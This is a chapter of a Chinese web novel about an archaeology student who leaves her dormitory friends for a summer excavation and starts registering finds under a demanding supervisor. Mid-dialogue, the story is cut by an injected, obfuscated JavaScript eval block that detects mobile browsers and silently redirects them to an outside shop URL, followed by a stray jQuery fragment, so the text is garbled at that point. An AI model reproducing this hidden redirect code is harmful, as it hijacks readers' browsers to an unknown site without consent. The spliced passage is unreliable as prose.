京市大学的女生宿舍里，方知然正在往一个半旧的帆布旅行袋里塞东西。
“手电筒带了没？电池呢？驱蚊水呢？”王秀禾坐在上铺，双腿晃荡着，像个指挥官一样一样地指点她。
“我听去年去过的学姐说，工地上蚊子多得能吃人，一咬一个大包，花露水根本不管用，得用那种味道冲的驱蚊油，还有创可贴，多带几盒，搬东西容易磕到，还有……”
“秀禾，我就去一个多月，不是去定居。”方知然无奈地直起腰，看着摊了一床的东西直叹气。
换洗衣服、洗漱用品、笔记本、专业书、手电筒、驱蚊水、创可贴、针线包……王秀禾恨不得把整个宿舍都给她塞进去。
“一个多月呢！你以为是去郊游啊？”王秀禾从床头摸出一包饼干扔下来，“拿着吃，压缩饼干，我哥从部队带回来的，饿了顶饱。”
“对了，”王秀禾趴在床沿上，压低声音，“那个陈科长，就是上次让刘大妈转交大白兔奶糖那个，后来还来找过你没有？”
“陈建？没有啊。”方知然手下的动作停了一瞬，摇了摇头。
“那他为什么突然送你糖啊？你们很熟吗？”王秀禾眨了眨眼睛，语气里带着好奇和一丝微妙的八卦意味。
“也不是很熟。”方知然垂下眼，把换洗衣服用旧报纸包好，塞进旅行袋的底层，她的动作很快，像是急于跳过这个话题。
王秀禾还想追问，但是看到她不想多说的样子，便识趣地闭上了嘴。
对面床铺的许清如放下手里的书，从抽屉里拿出一个小小的布袋子，递给了方知然，布袋子上绣着一朵歪歪扭扭的小白花，针脚稚拙但看得出来很用心。
“清如，这是什么啊？好好看！”方知然打开袋子，里面是满满一袋干花瓣，散着淡淡的菊花香气。
“菊花，是我自己晒的，工地那边条件艰苦，你晚上泡水喝，清热去火的。”许清如说。
方知然握着那个布袋子，指尖感受着布袋上那朵小白花不平整的针脚纹路，突然很感动：“你俩对我真好，叫我如何报答你们啊！”
“行了行了，别煽情了，”许清如笑着推了她一把，“那等你实习回来给我带几件出土文物当纪念品就行。”
“这个不行，是国家财产。”
“那就带块瓦片，你亲手修的。”
“成交。”
三人笑成一团，夏夜的微风从窗户吹进来，带着梧桐叶子的清香，也带着远处操场上传来的隐隐约约的广播声。
第二天一大早，方知然拎着旅行袋下楼，在校门口登上了开往东郊考古工地的大巴车。
同行的还有系里另外六个同学，四个男生两个女生，都是大三的学长学姐，只有她一个大二的，带队的是吴教授的研究生助理李师兄，三十来岁，戴着厚厚的黑框眼镜，性格沉闷但做事靠谱，一上车就抱着花名册开始核对人数。
“方知然？”
“到。”
“行李都带齐了？工地上没有供销社，忘了什么可就真没地方买了。”
“带齐了。”
李师兄点点头，在花名册上打了个勾。
大巴车发动，轰隆隆地驶出校门，方知然靠窗坐着，看着窗外熟悉的街景一点点后退，有一种如释重负的感觉。
离开学校，到郊外的工地上埋头干一个多月，对她来说，反而是难得的清净。
她摸了摸口袋里的信，昨晚她写完回信，本来想着一大早投进邮筒的，但是犹豫再三，还是决定先放在身上，等到了工地安顿下来再寄。
她需要确定自己真的准备好了，才能把这句话寄出去。
大巴车在国道上摇摇晃晃地开了两个多小时，终于在一片灰扑扑的工地旁边停了下来。
方知然提着旅行袋跳下车，第一眼就看到一大片裸露的黄土，几顶军用帐篷搭在土坡上，旁边是一排临时搭建的活动板房。
远处，几十个人正蹲在探方里用小铲子一点一点地刮土，动作小心翼翼的，空气中弥漫着泥土和汗水混合的气味，还有属于地下千年的腐朽气息。
“方知然，愣什么呢？快点过来集合了！”李师兄在前面喊。
她回过神来，赶紧拎着行李跟上去。
工地的负责人姓张，就是吴教授之前提过的那个“张大拿”，五十多岁，脸被太阳晒得跟老树皮似的，说话带着浓重的西北口音，他扫了一眼面前这群白净的大学生，目光里带着不加掩饰的审视。
“你们就是京大来的实习生？好，我不管你们在课堂上考了多少分，既然到了我这儿，都得从零开始，考古不是翻书本，是真刀真枪地跟泥巴打交道，出土的每件东西比你爷爷的爷爷年纪都大，弄坏一件你就是历史的罪人，听懂没有？”
“听懂了。”众人稀稀拉拉地回答。
“大点声！没吃饭吗？”
“听懂了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17789183|210306||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
！”
张队长这才满意地点点头，开始分配工作，方知然被分到了清理组，负责协助登记新出土的器物信息，编号、尺寸、材质、出土地层、初步年代判断，每一项都要工工整整地记在登记表上。
带她的是一个三十出头的女人，姓柳，手很巧，嘴巴却出了名的厉害。
“新来的？”柳姐上下打量了她一眼，目光在她白净的脸蛋和细嫩的手指上停留了几秒，不客气地从鼻子里哼了一声，“手这么嫩，一点都不像干活的料，我跟你说清楚啊，在我这儿，弄坏一件文物你就给我走人，吴教授的面子也不管用。”
方知然没有争辩，平静地点了点头：“知道了，柳姐，我手稳。”
柳姐多看了她一眼，似乎对她没有顶嘴感到有些意外，然后就扔给她一副棉线手套和一个登记本，指了指旁边的工作台：“那边是今天上午出的几件东西，你先去把它们登记了，编号别写错了，写错了要重新抄整本的。”
方知然在工作台前坐下，翻开登记本，面前摆着三件刚从探方里取出来的器物：一只破损的陶罐，一枚锈得看不出形状的铜钱，还有一小块青花的残片。
她戴上手套，拿起陶罐仔细端详，泥质灰陶，侈口，鼓腹，表面有绳纹，底部有烟熏的痕迹，她在登记表上认真写下：“编号1983-07-001，灰陶罐，侈口鼓腹，绳纹，底有烟熏痕，初步判断为炊器。”
柳姐在旁边擦一个陶盆，眼角的余光始终没有离开她。
“你以前做过？”柳姐问。
“在学校学过一点。”方知然没有抬头，手里继续写着。
“学过一点不可能这么熟练，我带了这么多实习生，你还是第一个不用我教的呢。”
柳姐放下陶盆走过来，站在她身后看了一会儿她的登记本，突然伸出手指敲了敲桌面，“这一个字写错了，‘侈口’的‘侈’，单人旁写成了双人旁，描一下改过来就行，不用重抄。”
方知然低头一看，果然写错了，她拿起橡皮仔细地擦掉那个字，重新写好。
“谢谢柳姐。”
“谢什么，该夸就夸，但是，该挑的刺我也挑，”柳姐回到自己的位置，语气比刚才缓和了几分，嘴上却依然不饶人，“你这丫头，手确实稳，行了，好好干，一会提前十分钟走，中午食堂有大肉包子，去晚了就没了。”
方知然被柳姐逗的嘎嘎乐，她没想到柳姐挺好相处的。